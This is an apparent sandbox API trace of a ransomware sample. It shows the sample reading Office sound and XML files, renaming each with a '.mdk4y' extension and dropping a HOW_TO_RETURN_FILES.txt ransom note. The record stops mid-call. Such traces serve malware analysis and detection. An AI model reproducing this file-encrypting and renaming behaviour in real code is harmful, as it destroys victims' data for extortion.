CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830066600000) returned 1 [0225.437] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x268, lpOverlapped=0x0) returned 1 [0225.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830066700000) returned 1 [0225.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830066700000) returned 1 [0225.438] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav.mdk4y")) returned 1 [0225.462] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.462] AreFileApisANSI () returned 1 [0225.462] GetACP () returned 0x4e4 [0225.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="COIN.WAV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="COIN.WAVV", lpUsedDefaultChar=0x37df4c) returned 8 [0225.462] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830069300000) returned 1 [0225.463] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15bc, lpOverlapped=0x0) returned 1 [0225.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830069400000) returned 1 [0225.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830069400000) returned 1 [0225.464] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav.mdk4y")) returned 1 [0225.465] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.465] AreFileApisANSI () returned 1 [0225.466] GetACP () returned 0x4e4 [0225.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DRUMROLL.WAV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DRUMROLL.WAV", lpUsedDefaultChar=0x37df4c) returned 12 [0225.466] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830069600000) returned 1 [0225.466] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4be2, lpOverlapped=0x0) returned 1 [0225.477] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830070700000) returned 1 [0225.477] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830070700000) returned 1 [0225.477] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav.mdk4y")) returned 1 [0225.479] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.479] AreFileApisANSI () returned 1 [0225.479] GetACP () returned 0x4e4 [0225.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXPLODE.WAV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXPLODE.WAVV", lpUsedDefaultChar=0x37df4c) returned 11 [0225.479] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830071000000) returned 1 [0225.480] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5c20, lpOverlapped=0x0) returned 1 [0225.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830073300000) returned 1 [0225.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830073300000) returned 1 [0225.504] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav.mdk4y")) returned 1 [0225.506] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.506] AreFileApisANSI () returned 1 [0225.506] GetACP () returned 0x4e4 [0225.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HAMMER.WAV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HAMMER.WAVV", lpUsedDefaultChar=0x37df4c) returned 10 [0225.506] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830073700000) returned 1 [0225.507] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfbc, lpOverlapped=0x0) returned 1 [0225.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830073900000) returned 1 [0225.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830073900000) returned 1 [0225.509] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav.mdk4y")) returned 1 [0225.510] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.510] AreFileApisANSI () returned 1 [0225.510] GetACP () returned 0x4e4 [0225.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LASER.WAV", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LASER.WAVV", lpUsedDefaultChar=0x37df4c) returned 9 [0225.510] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830074100000) returned 1 [0225.511] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72d, lpOverlapped=0x0) returned 1 [0225.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830074200000) returned 1 [0225.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830074200000) returned 1 [0225.512] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav.mdk4y")) returned 1 [0225.513] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.513] AreFileApisANSI () returned 1 [0225.513] GetACP () returned 0x4e4 [0225.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUSH.WAV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PUSH.WAVV", lpUsedDefaultChar=0x37df4c) returned 8 [0225.513] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830074400000) returned 1 [0225.514] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3d84, lpOverlapped=0x0) returned 1 [0225.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830074600000) returned 1 [0225.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830074600000) returned 1 [0225.516] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav.mdk4y")) returned 1 [0225.517] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.517] AreFileApisANSI () returned 1 [0225.517] GetACP () returned 0x4e4 [0225.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUCTION.WAV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SUCTION.WAV", lpUsedDefaultChar=0x37df4c) returned 11 [0225.517] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830074800000) returned 1 [0225.518] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1664, lpOverlapped=0x0) returned 1 [0225.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830078200000) returned 1 [0225.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830078200000) returned 1 [0225.552] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav.mdk4y")) returned 1 [0225.554] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.554] AreFileApisANSI () returned 1 [0225.554] GetACP () returned 0x4e4 [0225.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TYPE.WAV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TYPE.WAVWAV", lpUsedDefaultChar=0x37df4c) returned 8 [0225.554] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830078600000) returned 1 [0225.557] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x121c, lpOverlapped=0x0) returned 1 [0225.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830079200000) returned 1 [0225.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830079200000) returned 1 [0225.562] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav.mdk4y")) returned 1 [0225.564] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.564] AreFileApisANSI () returned 1 [0225.564] GetACP () returned 0x4e4 [0225.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VOLTAGE.WAV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VOLTAGE.WAV", lpUsedDefaultChar=0x37df4c) returned 11 [0225.564] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830079500000) returned 1 [0225.565] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x35c6, lpOverlapped=0x0) returned 1 [0225.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830080800000) returned 1 [0225.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830080800000) returned 1 [0225.578] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav.mdk4y")) returned 1 [0225.580] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.580] AreFileApisANSI () returned 1 [0225.580] GetACP () returned 0x4e4 [0225.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WHOOSH.WAV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WHOOSH.WAVV", lpUsedDefaultChar=0x37df4c) returned 10 [0225.581] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830081200000) returned 1 [0225.582] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6de, lpOverlapped=0x0) returned 1 [0225.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830081900000) returned 1 [0225.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830081900000) returned 1 [0225.590] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav.mdk4y")) returned 1 [0225.591] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.591] AreFileApisANSI () returned 1 [0225.591] GetACP () returned 0x4e4 [0225.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WIND.WAV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WIND.WAVAV", lpUsedDefaultChar=0x37df4c) returned 8 [0225.591] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830082200000) returned 1 [0225.592] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b84, lpOverlapped=0x0) returned 1 [0225.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830082800000) returned 1 [0225.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830082800000) returned 1 [0225.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav.mdk4y")) returned 1 [0225.599] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0225.599] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0225.600] AreFileApisANSI () returned 1 [0225.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0225.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0225.601] GetFileType (hFile=0x12c) returned 0x1 [0225.602] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.602] AreFileApisANSI () returned 1 [0225.602] GetACP () returned 0x4e4 [0225.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.BusinessData.dll", cchWideChar=26, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.BusinessData.dllUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 26 [0225.602] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.602] AreFileApisANSI () returned 1 [0225.602] GetACP () returned 0x4e4 [0225.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.BusinessData.xml", cchWideChar=26, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.BusinessData.xml", lpUsedDefaultChar=0x37dfd8) returned 26 [0225.602] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830083500000) returned 1 [0225.605] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x5a768, lpOverlapped=0x0) returned 1 [0225.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830085100000) returned 1 [0225.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830085100000) returned 1 [0225.624] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml.mdk4y")) returned 1 [0225.638] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.638] AreFileApisANSI () returned 1 [0225.638] GetACP () returned 0x4e4 [0225.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.BusinessApplications.Runtime.dll", cchWideChar=49, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.BusinessApplications.Runtime.dll4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 49 [0225.638] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.638] AreFileApisANSI () returned 1 [0225.638] GetACP () returned 0x4e4 [0225.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.BusinessApplications.Runtime.xml", cchWideChar=49, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.BusinessApplications.Runtime.xml", lpUsedDefaultChar=0x37dfd8) returned 49 [0225.638] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml"), 